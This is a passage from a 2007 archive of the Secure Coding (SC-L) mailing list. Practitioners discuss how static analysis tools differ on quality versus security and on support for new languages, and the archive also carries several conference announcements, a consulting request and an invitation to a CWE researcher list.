List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________






*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070829/72a54353/attachment-0001.html 

From lists at ticm.com  Wed Aug 29 21:33:15 2007
From: lists at ticm.com (Bret Watson)
Date: Thu, 30 Aug 2007 09:33:15 +0800
Subject: [SC-L] Really dumb questions?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1. prod>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>
	<A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>
	<46BBAB90.2080605@acm.org>
	<773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>
Message-ID: <687mgd$5m1svl@outbound.icp-qv1-irony-out1.iinet.net.au>

At 10:51 PM 29/08/2007, McGovern, James F (HTSC, IT) wrote:


>- So when a vendor says that they are focused on quality and not
>security, and vice versa what exactly does this mean? I don't have a
>great mental model of something that is a security concern that isn't a
>predictor of quality. Likewise, in terms of quality, other than
>producing metrics on things such as depth of inheritance, cyclomatic
>complexity, etc wouldn't bad numbers here at least be a predictor of a
>bad design and therefore warrant deeper inspection from a security
>perspective?


My opinion is that security and quality are inherently related. Poor 
security indicates poor design, poor testing etc  poor quality 
management tends to result in poor application security..


In fact two jobs ago I used this argument to implement security at a 
company who was extremely strong in quality (5% of the workforce 
belonged to the quality dept). I've also found that using "quality" 
tools such as FMECA etc for security assessments works very easily.

Cheers

Bret 

From jsteven at cigital.com  Thu Aug 30 08:51:07 2007
From: jsteven at cigital.com (John Steven)
Date: Thu, 30 Aug 2007 08:51:07 -0400
Subject: [SC-L] Really dumb questions?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>
Message-ID: <C2FC357B.AEF0%jsteven@cigital.com>

James,

Not dumb questions: an unfortunate situation. I do tool bakeoffs for clients a fair amount. I'm responsible for the rules Cigital initially sold to Fortify. I also attempt to work closely with companies like Coverity and understand deeply the underpinnings of that tool's engine. I've a fair amount of experience with Klocwork, unfortunately less with Ounce.

I understand the situation like this: technical guys at each of these companies are all great guys, smart, and understand their tool's capabilities and focus. They accurately describe what their tool does and don't misrepresent it.

On the other hand, I've experienced competition bashing in the sales process as I've helped companies with tool selections and bake offs. I see NO value in this. As I said in a previous post to this list: the tools differ both macroscopically in terms of approach and microscopically in terms rule implementation. Please see my previous post about bake-offs and such if you'd like more information on how to disambiguate tool capabilities objectively.

No blanket statement about quality or security fits any vendors' tool; ANY vendor. Ignore this level of commentary by the vendors.*(1)

No boolean answer exists to your question, let me give you some of my experiences:


 *   Fortify's SCA possesses far-and-away the largest rule set, covering both topics people consider purely security and those that may-or-may-not create opportunity for exploit (often when combined with other factors) which one may call quality rules. My impression is that SCA can be effectively used by Security Folk, QA Folk, or developers with a mind to improve the quality or security of their code. Recent inclusion of Findbugs bolsters SCA's capabilities to give code quality commentary.


 *   Coverity's Prevent often gets pigeon-holed as "a quality tool", but does an exceptional job of tracking down memory issues in C, C++. Skilled security consultants will tell you that failing to fix Prevent's results in your code will result in various memory-based command injection opportunities (BO, format string, write-anywhere's, etc.). It also effectively targets time-and-state issues, as well as other classes of bug. Prevent can effectively be used by Security Folk and Developers (or your rare hardcore QA person) to improve code quality and squelch opportunity for exploit.


 *   Klocwork's tool targets rule spaces similar to Fortify, but possesses less. Often pegged as a quality tool (as well), do find its UI (more than its engine) possess helpful features that only a QA professional would enjoy. This includes its defect density calculation, "reverse engineering" capabilities, and its reporting/time-series style. Klocwork can be effectively used by a Security guy to find security bugs, but I believe Fortify and Ounce have widened the rules gap in recent years.

Tackling your other questions in rapid succession:

There is no difference, technically, between the ability to scan for quality or security. However, each engine focuses on parsing and keeping track of only that state which provides meaningful data to their rules. You can imagine that Fortify carries a fair amount of information about where data came from and what functions may be dangerous and can therefore support new security rules easily. They don't carry around information to aggregate defect density readily like K7 can. Does this make one intrinsically better than the other for quality or security? Perhaps having worked on static analysis tools I'm cranky but I say, "No." If the market clearly mandated something specifically, all the vendors would augment their engine to support it. Some would be in a better position to offer it than others.

When I talk to vendors about COBOL and similar support they shudder. I think this space represents a huge opportunity for the first vendor to support it, but as a commercial organization, I wouldn't hold your breath on near-term support.

I could answer how these tools support new languages, but that doesn't seem like public domain knowledge. I'll let the vendors tackle that 'un.

----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD  94B0 AE7F EEF4 62D5 F908

Blog: http://www.cigital.com/justiceleague
Papers: http://www.cigital.com/papers/jsteven

http://www.cigital.com
Software Confidence. Achieved.


*(1) I'm also explicitly dodging the quality vs. security debate here. Having read/posted to this list for the last 7 years, that semi-annual topic has been flogged more than your average dead equine.


________________________________
From: "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com>

Most recently, we have met with a variety of vendors including but not
limited to: Coverity, Ounce Labs, Fortify, Klocwork, HP and so on. In
the conversation they all used interesting phrases to describe they
classify their competitors value proposition. At some level, this has
managed to confuse me and I would love if someone could provide a way to
think about this in a more boolean way.

- So when a vendor says that they are focused on quality and not
security, and vice versa what exactly does this mean? I don't have a
great mental model of something that is a security concern that isn't a
predictor of quality. Likewise, in terms of quality, other than
producing metrics on things such as depth of inheritance, cyclomatic
complexity, etc wouldn't bad numbers here at least be a predictor of a
bad design and therefore warrant deeper inspection from a security
perspective?

- Even if the rationale is more about people focus rather than tool
capability, is there anything else that would prevent one tool from
serving both purposes?

- Is it reasonable to expect that all of the vendors in this space will
have the ability to support COBOL, Ruby and Smalltalk sometime next year
so that customers don't have to specifically request it?

- Do the underlying compilers need to do something different since
languages such as COBOL aren't object-oriented which would make analysis
a bit different?


From rcs at cert.org  Thu Aug 30 08:57:24 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Thu, 30 Aug 2007 08:57:24 -0400
Subject: [SC-L] Really dumb questions?
In-Reply-To: <687mgd$5m1svl@outbound.icp-qv1-irony-out1.iinet.net.au>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>	<A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>	<46BBAB90.2080605@acm.org>	<773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>
	<687mgd$5m1svl@outbound.icp-qv1-irony-out1.iinet.net.au>
Message-ID: <46D6BEB4.7060301@cert.org>

James, Bret-

I agree with Bret that security and quality are inherently related (as
well as many other system attributes).

I think vendors (particularly sales guys) tend to reflect back to
customers what they are hearing from other customers.  So I think many
customers go to these vendors asking for "security"solutions or looking
for just general "QA" tools.  Of course, there are also subsets of
coding defects that are more high correlated with security
vulnerabilities which is what a vendor often means by "a security focus".

rCs

> At 10:51 PM 29/08/2007, McGovern, James F (HTSC, IT) wrote:
>
>
>   
>> - So when a vendor says that they are focused on quality and not
>> security, and vice versa what exactly does this mean? I don't have a
>> great mental model of something that is a security concern that isn't a
>> predictor of quality. Likewise, in terms of quality, other than
>> producing metrics on things such as depth of inheritance, cyclomatic
>> complexity, etc wouldn't bad numbers here at least be a predictor of a
>> bad design and therefore warrant deeper inspection from a security
>> perspective?
>>     
>
>
> My opinion is that security and quality are inherently related. Poor 
> security indicates poor design, poor testing etc  poor quality 
> management tends to result in poor application security..
>
>
> In fact two jobs ago I used this argument to implement security at a 
> company who was extremely strong in quality (5% of the workforce 
> belonged to the quality dept). I've also found that using "quality" 
> tools such as FMECA etc for security assessments works very easily.
>
> Cheers
>
> Bret 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>   


-- 
Robert C. Seacord
Senior Vulnerability Analyst
CERT/CC 

Work: 412-268-7608
FAX: 412-268-6989


From leichter_jerrold at emc.com  Thu Aug 30 09:56:19 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Thu, 30 Aug 2007 09:56:19 -0400 (EDT)
Subject: [SC-L] Really dumb questions?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com> 
	<A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>
	<46BBAB90.2080605@acm.org>
	<773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>
Message-ID: <Pine.SOL.4.61.0708300924400.13847@mental>

| Most recently, we have met with a variety of vendors including but not
| limited to: Coverity, Ounce Labs, Fortify, Klocwork, HP and so on. In
| the conversation they all used interesting phrases to describe they
| classify their competitors value proposition. At some level, this has
| managed to confuse me and I would love if someone could provide a way to
| think about this in a more boolean way.
| 
| - So when a vendor says that they are focused on quality and not
| security, and vice versa what exactly does this mean? I don't have a
| great mental model of something that is a security concern that isn't a
| predictor of quality. Likewise, in terms of quality, other than
| producing metrics on things such as depth of inheritance, cyclomatic
| complexity, etc wouldn't bad numbers here at least be a predictor of a
| bad design and therefore warrant deeper inspection from a security
| perspective?
What you're seeing here is an attempt to control the set of measure-
ments that will be applied to your product.  If you say you have a
product that tests "security", on the one hand, people will ask you
whether out-of-the-box you detect some collection of known security
bugs.  That collection might be good, or it might contain all kinds
of random junk gathered from 20 years of Internet reports.  As a
vendor, I don't (quite reasonably) want to be measured on some
unpredictable, uncontrollable set of "hard" (easily quantifiable)
standards.

Beyond that, saying you provide "security" gets you right in to the
maelstrom of security standards, certification, government and
accounting requirements, etc.  Should there be a security problem
with customer code that your product accepted, if you said you
provided security testing, expect to be pulled in to any bad
publicity, lawsuits, etc.

It's so much safer to say you help ensure quality.  That's virtually
impossible to quantify or test, and you clearly can only be one
part of a much larger process.  If things go wrong, it's very hard
for the blame to fall on your product (assuming it's any good at
all).  After all, if you pointed out 100 issues, the fixing of which
clearly improved quality, well, someone else must have screwed up in
letting one other issue through that had a quality impact - quality
is a result of the whole process, not any one element of it.  "You
can't test quality in."  (This sounds like excuses, but it happens
also to be mainly true!)
 
| - Even if the rationale is more about people focus rather than tool
| capability, is there anything else that would prevent one tool from
| serving both purposes?
Well, I can speak to two products whose presentations I saw about a
year ago.  Fortify concentrated on security.  They made the point
that they had hundreds of pre-programmed tests specific to known
security vulnerabilities.  The weaknesses in their more general
analysis - e.g, they had almost no ability to do value flow
analysis - they could dismiss as not relevant to their specific
mission of finding security flaws.

Coverity, on the other hand, did very deep general analysis, but
for the most part found security flaws as a side-effect of general
fault-finding mechanisms.  Fortify defenders - including some on
this list - pointed out this limitation, saying that the greatest
value of Fortify came from the extensive work that had gone into
analyzing actual security holes in real code and making sure they
would be caught.

In practice, while there was an overlap between what the two
products found, neither subsumed the other.  If you can afford
it, I'd use both.  (In theory, you could produce a security hole
library for Coverity that copied the one in Fortify.  But no one
is doing that.)

| - Is it reasonable to expect that all of the vendors in this space will
| have the ability to support COBOL, Ruby and Smalltalk sometime next year
| so that customers don't have to specifically request it?
Well, the effort depends on the nature of the product.  Products that
mainly scan for particular patterns are probably easier to adjust to
work with other languages than products that do deeper analysis.  On
the other hand, you have to build up a library of patterns to scan
for, which to some degree will be language-specific.

Products that depend on deep analysis of data flow and such usually
don't care much about surface syntax - a new front end isn't a
big deal - but will run into fundamental problems if they rely on
static properties of programs, like static types.  Languages like
Smalltalk and even more Ruby are likely to be very problematic for
this kind of analysis, since so much is subject to change at run
time.

| - Do the underlying compilers need to do something different since
| languages such as COBOL aren't object-oriented which would make analysis
| a bit different?
I doubt object orientation matters all that much.  In general, anything
that provides (a) static information (b) encapsulation makes analysis
easier.  COBOL is old enough to have elements that amount to self-
modifying code, for which good analysis methods don't exist.  But
few COBOL programs have used the more dangerous features in many
years, so in practice this may be a non-issue.  On the other hand,
languages like Ruby have resurrected - in a much more controlled
fashion - these same methods, so would be difficult to work with.
I haven't really kept up with the most recent work, but I doubt
the techniques to do any deep analysis of even well-behaved Ruby
programs - or, hell, even Java programs that use introspection and
dynamic loading and such - exist yet.  The fully-enforced dynamic
type systems in such languages avoid many significant classes of
errors common in other kinds of languages, so the very questions
you need to ask are different, and I'm not even sure we know what
the right questions are!
							-- Jerry

| 
| *************************************************************************
| This communication, including attachments, is
| for the exclusive use of addressee and may contain proprietary,
| confidential and/or privileged information.  If you are not the intended
| recipient, any use, copying, disclosure, dissemination or distribution is
| strictly prohibited.  If you are not the intended recipient, please notify
| the sender immediately by return e-mail, delete this communication and
| destroy all copies.
| *************************************************************************
| 
| 
| _______________________________________________
| Secure Coding mailing list (SC-L) SC-L at securecoding.org
| List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
| List charter available at - http://www.securecoding.org/list/charter.php
| SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
| as a free, non-commercial service to the software security community.
| _______________________________________________
| 
| 

From brian at fortifysoftware.com  Thu Aug 30 17:24:41 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Thu, 30 Aug 2007 14:24:41 -0700
Subject: [SC-L] Really dumb questions?
In-Reply-To: <mailman.915.1188402975.2253.sc-l@securecoding.org>
Message-ID: <C2FC83A9.36476%brian@fortifysoftware.com>

> - So when a vendor says that they are focused on quality and not
> security, and vice versa what exactly does this mean?

We spend most of Chapter 2 of Secure Programming with Static Analysis
describing the different problems that static analysis tools try to solve,
and we show where we think all of the companies you mention (plus a lot of
others) fit in.  The relative importance of false positives vs false
negatives is one important difference, but so is extensibility, rule set (as
John mentioned), ability of the tool to prioritize its findings, and the
interface the tool presents for exploring the results.  From my experience,
the vendors do different things in all of these areas, and these differences
aren't just a result of dumb luck.  They stem from different philosophies
about what the tools are supposed to do.  "Quality vs. Security" may be an
oversimplification, but the differences between the tools are much more than
cosmetic.


> - Is it reasonable to expect that all of the vendors in this space will
> have the ability to support COBOL, Ruby and Smalltalk sometime next year
> so that customers don't have to specifically request it?

I don't think so.  The way a tool is designed can make it easier or harder
to add support for a new language, but unless you're doing a really
superficial analysis, adding a new language is always a big deal. Supporting
a language requires more than just being able to parse it.  The tools often
have to do special work to make sure that the meaning of common idioms
carries over correctly in the analysis, then there's the small matter of
developing a rule set.

Someone mentioned that Ruby makes life hard because it lacks static types.
While that's true, it compensates in other ways.  For example, because of a
lack of static types, there are often more bugs to find.  There's some
really good academic work going on right now around security analysis of
scripting languages (mostly PHP).  Here's my pick of the week:

Sound and Precise Analysis of Web Applications for Injection Vulnerabilities
by Gary Wassermann and Zhendong Su
http://wwwcsif.cs.ucdavis.edu/~wassermg/research/pldi07.pdf


Regards,
Brian






From announcements at webappsec.org  Tue Sep  4 21:26:12 2007
From: announcements at webappsec.org (announcements at webappsec.org)
Date: Tue, 4 Sep 2007 21:26:12 -0400 (EDT)
Subject: [SC-L] OWASP & WASC AppSec 2007
Message-ID: <20070905012612.19293.qmail@cgisecurity.net>

OWASP and WASC have joined forces for this year's AppSec 2007 conference being held at eBay in San Jose, CA on Nov 12-15. A huge concentration of the industry leading experts will be in attendance presenting high quality web application security content. AppSec 2007 offers a unique opportunity for security professionals, software developers, and IT managers to get up to speed on the latest and greatest attack techniques, defense strategies, and industry trends in an atmosphere of peers. The conference format and venue is also perfect for networking and sharing experiences with others that are down in the trenches.
AppSec 2007 expects to exceed all attendance records from the previously years, making space extremely limited. There's only room for approximately 300 attendees. So if you're planning to come, please register soon.

For more details and registration:
http://www.owasp.org/index.php/OWASP_&_WASC_AppSec_2007_Conference

The conference also features:
1) Two full days of tutorials on a wide variety of web application security topics.
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/Training
2) A web services security track
3) Vendor services and technology expo


Conference Location:
The AppSec 2007 Conference will be held at eBay at their facility at:
2211 North First Street in San Jose, CA Nov 12th-15th.

Training Days: Novermber 12th-13th
Main Conference: November 14th-15th

- announcements
http://www.webappsec.org/ The Web Application Security Consortium (WASC)
 

From James.McGovern at thehartford.com  Wed Sep  5 12:53:41 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 5 Sep 2007 12:53:41 -0400
Subject: [SC-L] Two Questions around Consulting on Secure Coding
In-Reply-To: <C2FC83A9.36476%brian@fortifysoftware.com>
References: <mailman.915.1188402975.2253.sc-l@securecoding.org> 
	<C2FC83A9.36476%brian@fortifysoftware.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A0BF@AD1HFDEXC309.ad1.prod>

I would like to gain a perspective from the various software vendors as
to which consulting firms they believe have the best expertise in
assisting clients with rollout of their tools. I hope that a couple of
names will appear across software vendors. I am also hoping one or two
names will emerge across vendors as common.

I know asking a question that is related to consulting but where an
answer from a consulting firm isn't required will compel consultant
types to respond, I figured I would also ask another question in which
they may have better perspective.

I am seeking a developer-level resource for a three month onsite
consulting engagement (initial) to operationalize our rollout of tools
that enable secure coding. Candidates should have the following
characteristics:

Knowledge and hands-on administration experience using Fortify Software,
Coverity, Ounce Labs, HP DevInspect, etc (We haven't chosen the tool
yet)
Ability to program in both Java and .NET languages
Ability to do presentations to other software developers on secure
coding topics
Strong analytical and logical thinking capability
Work indepedently and under little supervision / guidance and take on
technical lead role as needed
Ability to produce written documentation on technical alternatives
API design and implementation. Familiarity with XML, XML Schema, XSL or
other XML tools a plus.
Hourly rate depending on actual experience in a security context

Will need resumes emailed to me  by Friday, September 7th. Please also
include hourly rate. Not looking for candidates higher on the food chain
to do "strategy" , "POC", etc but developer-types to help with
operational aspects with rates inline with this notion.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From coley at linus.mitre.org  Wed Sep  5 18:34:45 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 5 Sep 2007 18:34:45 -0400 (EDT)
Subject: [SC-L] CWE Researcher List
Message-ID: <Pine.GSO.4.51.0709051829240.23861@faron.mitre.org>


All,

I figured people on this list might be interested in this.  If you have
any concerns or suggestions about CWE, the upcoming months will be the
best time to raise them in a focused discussion forum, the CWE Researcher
List.

If you don't know what CWE is, then shame on me for not pimping it enough:
http://cwe.mitre.org

- Steve

------------------------------------------------------

MITRE has established a list for researchers and other parties who are
interested in detailed discussion of the Common Weakness Enumeration
(CWE).  CWE Draft 6 has over 600 nodes and is seeing increased usage. Over
the summer of 2007, MITRE has identified some themes within CWE that we'd
like to discuss with the community.  So, it's time for some focused
feedback.

Beginning next week, we will be using this CWE researcher list to conduct
in-depth technical discussions: where CWE is now, what are its strengths
and limitations, and where it needs to be.  We will bring up these larger
discussion points, solicit feedback, and modify CWE accordingly.  (Don't
worry, we won't bother you with the hundreds of minor edits we'll be
doing!)

We think that you could be an important contributor to the success of
CWE, so we are inviting you to join the list.  Your participation is
encouraged but not required.

To subscribe, see:

  http://cwe.mitre.org/community/registration.html

or just send an email to listserv at lists.mitre.org with the command:

  subscribe CWE-RESEARCH-LIST

Note: posts to the list will be publicly archived.

We hope you can join!


Thank you,

Steve Christey
CWE Technical Lead

Bob Martin
CWE Project Lead

From cwysopal at Veracode.com  Thu Sep  6 12:48:28 2007
From: cwysopal at Veracode.com (Chris Wysopal)
Date: Thu, 6 Sep 2007 12:48:28 -0400
Subject: [SC-L] Security Testing track: Software Testing
	Conference:Washington DC
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399A03C@AD1HFDEXC309.ad1.prod>
References: <C2EA045A.EA3A%paco@cigital.com>
	<773F863A6009244B87E6E866AFC7DB460399A03C@AD1HFDEXC309.ad1.prod>
Message-ID: <673A7E2AEDA1FD48A5AD782590FAEF70D41B7B@HACTAR.Veracode.local>


There has been some movement in this direction and I think you are
correct that that we need to educate the mainstream QA audience just as
we must educate the mainstream developer audience.  I am giving a
keynote on software security testing at Practical Quality and Software
Testing in Minneapolis next week: http://www.psqtconference.com/. I am
also speaking at STPCon on prioritizing security testing.  There are
also speakers from SPI Dynamics and Ounce Labs at that conference.  If
you know of other QA conferences please post them here as I am
interested at speaking to this audience and I have found them bery
receptive to security testing topics.

Another educational approach is to target this community when we write
books and magazine articles on software security. One of the goals of my
book, "The Art of Software Security Testing" was to bring the concepts
of security testing to a traditional QA audience.  To that end I teamed
up with Elfriede Dustin, an author of several QA books, and an organizer
of the Verify conference to make sure the book spoke to the right
audience.

I know Joseph Feiman at Gartner has software security testing as a focus
area.  He has written a few research notes on the topic.

-Chris

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of McGovern, James F
(HTSC, IT)
Sent: Tuesday, August 28, 2007 10:39 AM
To: sc-l at securecoding.org
Subject: Re: [SC-L] Security Testing track: Software Testing
Conference:Washington DC

 Upon reading this, I had several thoughts come to mind:

1. If we are to truly solve the last mile, we need to also choose more
mainstream conferences such as STPCon (http://www.stpcon.com) since they
also have an associated magazine (Software Test and Performance) which
may stimulate more magazine articles on the topic. I did a quick run
upstairs to our QA folks and asked them what magazines do they read as
well as awareness of certain conferences.

2. What do you think we can do as a unified group of individuals in
terms of a listserv to encourage various industry analyst firms such as
Gartner, Forrester and The Burton Group to talk about Secure Software
Testing as a research area? Many CIOs and other IT executives put lots
of value into what they say. We need more top down.

3. What would it take to get more speaker diversity? We have to figure
out how to get more end-customers telling their own stories vs vendors
and consulting firms

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Paco Hope
Sent: Thursday, August 16, 2007 1:41 PM
To: Secure Coding
Subject: [SC-L] Security Testing track: Software Testing
Conference:Washington DC


Hey folks,

One of my strong beliefs is that we're never going to close the loop on
"Building Security In" until we get the QA side of the house involved in
security. To that end, I'm co-chairing VERIFY 2007, a software testing
conference where we have a security testing track. (In addition to more
typical QA issues like test automation) I thought some folks on this
list may be interested in attending, or passing it on to your colleagues
in QA organizations.

Conference web site is http://verifyconference.com/ and you can get a
2-page "Conference in a Nutshell" PDF here:
http://verifyconference.com/images/verify/verify2007.pdf

Please help me spread the word.

Thanks,
Paco
--
Paco Hope, CISSP
Co-Chair, VERIFY 2007
http://verifyconference.com/ * +1.703.606.1905


************************************************************************
*
This communication, including attachments, is for the exclusive use of
addressee and may contain proprietary, confidential and/or privileged
information.  If you are not the intended recipient, any use, copying,
disclosure, dissemination or distribution is strictly prohibited.  If
you are not the intended recipient, please notify the sender immediately
by return e-mail, delete this communication and destroy all copies.
************************************************************************
*


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List
information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________


From mbrown at sans.org  Thu Sep  6 16:14:40 2007
From: mbrown at sans.org (Mason Brown)
Date: Thu, 6 Sep 2007 16:14:40 -0400
Subject: [SC-L] Security Testing track: Software
	TestingConference:Washington DC
In-Reply-To: <673A7E2AEDA1FD48A5AD782590FAEF70D41B7B@HACTAR.Veracode.local>
References: <C2EA045A.EA3A%paco@cigital.com><773F863A6009244B87E6E866AFC7DB460399A03C@AD1HFDEXC309.ad1.prod>
	<673A7E2AEDA1FD48A5AD782590FAEF70D41B7B@HACTAR.Veracode.local>
Message-ID: <00da01c7f0c2$8f0f3a50$e72eca4b@BROWN3>


Most of you know SANS is spending a lot of time an effort focused on
software and application security.  If you think there is a role we can play
in this specific area and would like to talk to me about that, please feel
free to connect with me offline.

If not, we'll stay head down on the current initiatives.

Paco, it's probably too late for us to help much with your event but we can
chat about that.

Mase


Mason Brown, Director
SANS Institute (www.sans.org)
865-692-0978 (w)
 
SANS Network Security 2007 in Las Vegas, September 22-30. 39 courses, SANS
top instructors. http://www.sans.org/info/9346

"SANS remains the gold standard in security training - technical, hands on
and immediately useful and relevant." Robin Stuart, eBay


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Chris Wysopal
Sent: Thursday, September 06, 2007 12:48 PM
To: McGovern, James F (HTSC, IT); sc-l at securecoding.org
Subject: Re: [SC-L] Security Testing track: Software
TestingConference:Washington DC


There has been some movement in this direction and I think you are correct
that that we need to educate the mainstream QA audience just as we must
educate the mainstream developer audience.  I am giving a keynote on
software security testing at Practical Quality and Software Testing in
Minneapolis next week: http://www.psqtconference.com/. I am also speaking at
STPCon on prioritizing security testing.  There are also speakers from SPI
Dynamics and Ounce Labs at that conference.  If you know of other QA
conferences please post them here as I am interested at speaking to this
audience and I have found them bery receptive to security testing topics.

Another educational approach is to target this community when we write books
and magazine articles on software security. One of the goals of my book,
"The Art of Software Security Testing" was to bring the concepts of security
testing to a traditional QA audience.  To that end I teamed up with Elfriede
Dustin, an author of several QA books, and an organizer of the Verify
conference to make sure the book spoke to the right audience.

I know Joseph Feiman at Gartner has software security testing as a focus
area.  He has written a few research notes on the topic.

-Chris

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of McGovern, James F (HTSC,
IT)
Sent: Tuesday, August 28, 2007 10:39 AM
To: sc-l at securecoding.org
Subject: Re: [SC-L] Security Testing track: Software Testing
Conference:Washington DC

 Upon reading this, I had several thoughts come to mind:

1. If we are to truly solve the last mile, we need to also choose more
mainstream conferences such as STPCon (http://www.stpcon.com) since they
also have an associated magazine (Software Test and Performance) which may
stimulate more magazine articles on the topic. I did a quick run upstairs to
our QA folks and asked them what magazines do they read as well as awareness
of certain conferences.

2. What do you think we can do as a unified group of individuals in terms of
a listserv to encourage various industry analyst firms such as Gartner,
Forrester and The Burton Group to talk about Secure Software Testing as a
research area? Many CIOs and other IT executives put lots of value into what
they say. We need more top down.

3. What would it take to get more speaker diversity? We have to figure out
how to get more end-customers telling their own stories vs vendors and
consulting firms

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Paco Hope
Sent: Thursday, August 16, 2007 1:41 PM
To: Secure Coding
Subject: [SC-L] Security Testing track: Software Testing
Conference:Washington DC


Hey folks,

One of my strong beliefs is that we're never going to close the loop on
"Building Security In" until we get the QA side of the house involved in
security. To that end, I'm co-chairing VERIFY 2007, a software testing
conference where we have a security testing track. (In addition to more
typical QA issues like test automation) I thought some folks on this list
may be interested in attending, or passing it on to your colleagues in QA
organizations.

Conference web site is http://verifyconference.com/ and you can get a 2-page
"Conference in a Nutshell" PDF here:
http://verifyconference.com/images/verify/verify2007.pdf

Please help me spread the word.

Thanks,
Paco
--
Paco Hope, CISSP
Co-Chair, VERIFY 2007
http://verifyconference.com/ * +1.703.606.1905


************************************************************************
*
This communication, including attachments, is for the exclusive use of
addressee and may contain proprietary, confidential and/or privileged
information.  If you are not the intended recipient, any use, copying,
disclosure, dissemination or distribution is strictly prohibited.  If you
are not the intended recipient, please notify the sender immediately by
return e-mail, delete this communication and destroy all copies.
************************************************************************
*


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



From James.McGovern at thehartford.com  Fri Sep  7 17:09:14 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 7 Sep 2007 17:09:14 -0400
Subject: [SC-L] Question on the importance of secure coding
In-Reply-To: <C2FC83A9.36476%brian@fortifysoftware.com>
References: <mailman.915.1188402975.2253.sc-l@securecoding.org> 
	<C2FC83A9.36476%brian@fortifysoftware.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A10E@AD1HFDEXC309.ad1.prod>

Figured I would ask the list for their perspective on why the adoption
of secure coding practices is so slow.

Generally speaking, not a day goes by where multiple software vendors
will email, snail mail, phone, etc their value proposition to some
problem in the world of security. They usually do a good job in terms of
identifying common gaps across enterprises yet have no clue as to
whether this gap is important to the enterprise to close.

If I were to ask my colleagues to enumerate gaps, I suspect it would be
too difficult to compose a list of several hundred distinct gaps in the
security space. The issue at hand is not whether the gap exists, whether
there are solutions to close it but one of which gaps are most important
to close.

Likewise, industry analysts do a great job of comparing products within
a domain. They will compare Fortify to Ounce Labs and so on. The thing
that is missing is how "should" secure coding compare to say identity
management or entitlements management or user-centric identity or
protecting against the insider threat and so on.

In some enterprises, the constraint for closing gaps can be funding
while pretty much in all enterprises the constraint in terms of closing
gaps is having the right resources. While everything is important, how
should one determine what is more important?

If we believe that secure coding is more important than how do we
collectively not only talk about it amongst ourselves but also get
industry analysts to also start saying it is more important vs resorting
to product comparisons. Likewise, magazines should also take a similar
approach. After all, many folks on this list understand that the vast
